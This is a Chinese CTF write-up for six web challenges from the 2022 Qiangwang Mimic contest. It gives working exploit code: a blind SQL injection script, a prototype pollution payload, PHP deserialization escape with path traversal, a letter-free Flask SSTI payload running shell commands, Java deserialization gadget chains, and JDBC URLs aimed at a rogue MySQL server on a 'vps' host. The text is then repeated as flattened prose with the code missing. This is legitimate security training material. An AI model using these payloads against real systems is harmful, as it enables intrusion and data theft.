2022强网拟态WP-Web(ALL)
字数 2298 2025-08-06 18:07:51

2022强网拟态Web题目全解技术分析

1. popsql题目分析

1.1 题目概述

  • 登录界面存在SQL注入漏洞
  • 仅当用户名为admin时才会执行SQL注入语句
  • 密码参数存在时间盲注漏洞

1.2 注入限制

  • 过滤的关键字:union, join, ;
  • 空格被过滤,可使用/**/绕过

1.3 注入技术

  • 使用benchmark函数进行时间盲注
  • 通过STRCMP函数比较字符串
  • 使用/**/代替空格绕过过滤

1.4 注入流程

  1. 确认flag不在users表中
  2. 发现flag表名为FL49IsH3rE
  3. 通过系统表sys.schema_table_statistics获取查询历史
  4. 最终获取flag字段名为f1aG123

1.5 关键注入代码

import string
import time
import requests

def get_str(s):
    end="0x"
    for c in s:
        end+=str(hex(ord(c)))[2::]
    return end

def getDatabase():
    ans = ''
    for i in range(1, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            test_str=get_str(ans+chr(mid))
            query = "select group_concat(f1aG123) from Fl49ish3re"
            sql = f"select case STRCMP(({query}),{test_str}) when 0 then 0 when 1 then 1 else benchmark(511111111,1) end"
            password = f"xxx'or({sql.replace(' ','/**/')})or'"
            data = {"username": "admin", "password": password}
            res = requests.post(url, data=data)
            if res.elapsed.total_seconds() > 2:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)

2. WHOYOUARE题目分析

2.1 题目概述

  • Node.js应用,存在原型污染漏洞
  • 通过JSON格式输入进行污染攻击

2.2 关键限制

  • command必须为数组类型
  • 数组最多两个元素
  • 每个元素必须为字符串且长度≤4
  • 必须以字母/数字/-开头

2.3 污染技术

  • 使用两层constructor.prototype绕过已赋值的参数污染
  • 通过污染Array.prototype来修改command数组

2.4 攻击流程

  1. 构造特殊JSON污染Array.prototype
  2. 设置command["-c"](满足校验条件)
  3. 通过原型污染修改command[1]为任意命令

2.5 关键攻击代码

import requests
url="http://127.0.0.1:3000/user"
user='''{"constructor":{"prototype":{"constructor":{"prototype":{"1":"cat /flag"}}}},"username":{"OK":"a"},"command":["-c"]}'''
requests.post(url=url, json={"user": user})

3. ezus题目分析

3.1 题目概述

  • PHP应用,存在多层面漏洞
  • 主要利用点:basename函数特性、反序列化字符逃逸、文件包含

3.2 第一层:源码泄露

  • 利用basename特性:当文件名全为非ASCII字符时,返回上一层目录
  • 构造URL:http://target/index.php/tm.php/%ff?source

3.3 第二层:反序列化逃逸

  • object_sleepobject_weakup函数存在替换差异
  • 每次替换\0*\0@0@0@0@产生4字符偏移
  • 需要28字符偏移,使用7次替换

3.4 第三层:文件包含与读取

  • 绕过__wakeup:修改对象计数(PHP 5.x特性)
  • 文件包含限制:文件名必须包含"try"和"pass"
  • URL验证:域名必须以"prankhub"结尾

3.5 攻击流程

  1. 构造反序列化逃逸payload
  2. 触发order::__destruct
  3. 使用非协议URL绕过验证:h0cksr://prankhub/../../../../../../../f1111444449999.txt

3.6 关键攻击代码

class order {
    public $f;
    public $hint;
}
$o= new order();
$o->f='trypass';
$o->hint='h0cksr://prankhub/../../../../../../../f1111444449999.txt';
$ser=str_replace('"order":2','"order":3',serialize($o));

4. 没人比我更懂py题目分析

4.1 题目概述

  • Python Flask SSTI漏洞
  • 限制:不能使用字母字符

4.2 绕过技术

  • 使用八进制编码绕过字母限制
  • 通过__subclasses__找到Popen
  • 使用循环遍历找到可用类索引

4.3 攻击流程

  1. 构造无字母SSTI payload
  2. 通过__subclasses__找到Popen类(索引81)
  3. 执行任意系统命令

4.4 关键攻击代码

def get(exp):
    dicc = []
    exploit = ""
    for i in range(256):
        eval("dicc.append('{}')".format("\\" + str(i)))
    for i in exp:
        exploit += "\\" + str(dicc.index(i))
    return exploit

payload = "{{" + f"''['{get('__class__')}']['{get('__mro__')}']['{get('__getitem__')}'](1)['{get('__subclasses__')}']()['{get('pop')}'](81)['{get('__init__')}']['{get('__globals__')}']" \
                 f"['{get('__builtins__')}']['{get('__import__')}']('{get('os')}')['{get('popen')}']('{get('cat /flag')}')['{get('read')}']()" + "}}"

5. NoRCE题目分析

5.1 题目概述

  • Java反序列化漏洞
  • 依赖:mysql-connector-java 5.0.3
  • 限制:过滤特定类名

5.2 关键类分析

  • MyObjectInputStream过滤:

    • com.example.demo.bean.Connect
    • java.security.*
    • java.rmi.*
  • Connect类:通过JDBC连接MySQL

5.3 攻击链构造

  1. BadAttributeValueExpException触发toString
  2. MyBean.toString调用JMXConnector.connect
  3. 使用RMIConnector触发二次反序列化
  4. 二次反序列化触发Connect.connect
  5. 通过JDBC连接恶意MySQL服务读取文件

5.4 恶意MySQL服务利用

  • 使用rogue_mysql_server项目
  • 配置jdbc:mysql://vps:port/file:///?allowLoadLocalInfile=true

5.5 关键攻击代码

// 首次反序列化
public static byte[] getTest(String message,RMIConnector rmiConnector) throws Exception {
    MyBean myBean = new MyBean("url",message,rmiConnector);
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
    setFieldValue(exp, "val",myBean);
    return serialize(exp);
}

// 二次反序列化
public static Object getObject() throws Exception {
    String url ="jdbc:mysql://vps:3306/file:///?allowLoadLocalInfile=true";
    Connect connect = new Connect(url,"","");
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
    MyBean myBean = new MyBean("url","message",connect);
    setFieldValue(exp, "val",myBean);
    return exp;
}

6. easy_java题目分析

6.1 题目概述

  • JDBC连接参数注入
  • 利用MySQL客户端反序列化漏洞

6.2 关键限制

  • 检查autoDeserialize参数(大小写不敏感)
  • 参数值经过URL解码后检查

6.3 绕过技术

  • autoDeserialize进行URL编码:%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65
  • 在编码后添加空格绕过检查

6.4 攻击流程

  1. 设置恶意MySQL服务使用Groovy1链
  2. 构造特殊JDBC URL:
    jdbc:mysql://vps:3306/test?connectionAttributes=t:grovy1&%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65 =true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
    
  3. 触发反序列化执行命令

6.5 关键配置

# rogue_mysql_server配置
yaml:
  exploit: groovy1
  command: "cat /flag"

总结

本次强网拟态Web题目涵盖了多种安全漏洞类型和技术:

  1. SQL注入:绕过过滤的时间盲注技术
  2. 原型污染:多层constructor.prototype绕过已赋值参数
  3. PHP反序列化:字符逃逸、__wakeup绕过、文件包含
  4. SSTI:无字母字符绕过技术
  5. Java反序列化:二次反序列化绕过、JDBC利用
  6. 协议解析:URL编码和参数解析特性

每种漏洞都展示了不同的绕过思路和利用技巧,对Web安全研究具有重要参考价值。

2022强网拟态Web题目全解技术分析 1. popsql题目分析 1.1 题目概述 登录界面存在SQL注入漏洞 仅当用户名为admin时才会执行SQL注入语句 密码参数存在时间盲注漏洞 1.2 注入限制 过滤的关键字: union , join , ; 空格被过滤,可使用 /**/ 绕过 1.3 注入技术 使用 benchmark 函数进行时间盲注 通过 STRCMP 函数比较字符串 使用 /**/ 代替空格绕过过滤 1.4 注入流程 确认flag不在users表中 发现flag表名为 FL49IsH3rE 通过系统表 sys.schema_table_statistics 获取查询历史 最终获取flag字段名为 f1aG123 1.5 关键注入代码 2. WHOYOUARE题目分析 2.1 题目概述 Node.js应用,存在原型污染漏洞 通过JSON格式输入进行污染攻击 2.2 关键限制 command 必须为数组类型 数组最多两个元素 每个元素必须为字符串且长度≤4 必须以字母/数字/ - 开头 2.3 污染技术 使用两层 constructor.prototype 绕过已赋值的参数污染 通过污染 Array.prototype 来修改 command 数组 2.4 攻击流程 构造特殊JSON污染 Array.prototype 设置 command 为 ["-c"] (满足校验条件) 通过原型污染修改 command[1] 为任意命令 2.5 关键攻击代码 3. ezus题目分析 3.1 题目概述 PHP应用,存在多层面漏洞 主要利用点: basename 函数特性、反序列化字符逃逸、文件包含 3.2 第一层:源码泄露 利用 basename 特性:当文件名全为非ASCII字符时,返回上一层目录 构造URL: http://target/index.php/tm.php/%ff?source 3.3 第二层:反序列化逃逸 object_sleep 和 object_weakup 函数存在替换差异 每次替换 \0*\0 为 @0@0@0@ 产生4字符偏移 需要28字符偏移,使用7次替换 3.4 第三层:文件包含与读取 绕过 __wakeup :修改对象计数(PHP 5.x特性) 文件包含限制:文件名必须包含"try"和"pass" URL验证:域名必须以"prankhub"结尾 3.5 攻击流程 构造反序列化逃逸payload 触发 order::__destruct 使用非协议URL绕过验证: h0cksr://prankhub/../../../../../../../f1111444449999.txt 3.6 关键攻击代码 4. 没人比我更懂py题目分析 4.1 题目概述 Python Flask SSTI漏洞 限制:不能使用字母字符 4.2 绕过技术 使用八进制编码绕过字母限制 通过 __subclasses__ 找到 Popen 类 使用循环遍历找到可用类索引 4.3 攻击流程 构造无字母SSTI payload 通过 __subclasses__ 找到 Popen 类(索引81) 执行任意系统命令 4.4 关键攻击代码 5. NoRCE题目分析 5.1 题目概述 Java反序列化漏洞 依赖:mysql-connector-java 5.0.3 限制:过滤特定类名 5.2 关键类分析 MyObjectInputStream 过滤: com.example.demo.bean.Connect java.security.* java.rmi.* Connect 类:通过JDBC连接MySQL 5.3 攻击链构造 BadAttributeValueExpException 触发 toString MyBean.toString 调用 JMXConnector.connect 使用 RMIConnector 触发二次反序列化 二次反序列化触发 Connect.connect 通过JDBC连接恶意MySQL服务读取文件 5.4 恶意MySQL服务利用 使用 rogue_mysql_server 项目 配置 jdbc:mysql://vps:port/file:///?allowLoadLocalInfile=true 5.5 关键攻击代码 6. easy_ java题目分析 6.1 题目概述 JDBC连接参数注入 利用MySQL客户端反序列化漏洞 6.2 关键限制 检查 autoDeserialize 参数(大小写不敏感) 参数值经过URL解码后检查 6.3 绕过技术 对 autoDeserialize 进行URL编码: %61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65 在编码后添加空格绕过检查 6.4 攻击流程 设置恶意MySQL服务使用Groovy1链 构造特殊JDBC URL: 触发反序列化执行命令 6.5 关键配置 总结 本次强网拟态Web题目涵盖了多种安全漏洞类型和技术: SQL注入 :绕过过滤的时间盲注技术 原型污染 :多层 constructor.prototype 绕过已赋值参数 PHP反序列化 :字符逃逸、 __wakeup 绕过、文件包含 SSTI :无字母字符绕过技术 Java反序列化 :二次反序列化绕过、JDBC利用 协议解析 :URL编码和参数解析特性 每种漏洞都展示了不同的绕过思路和利用技巧,对Web安全研究具有重要参考价值。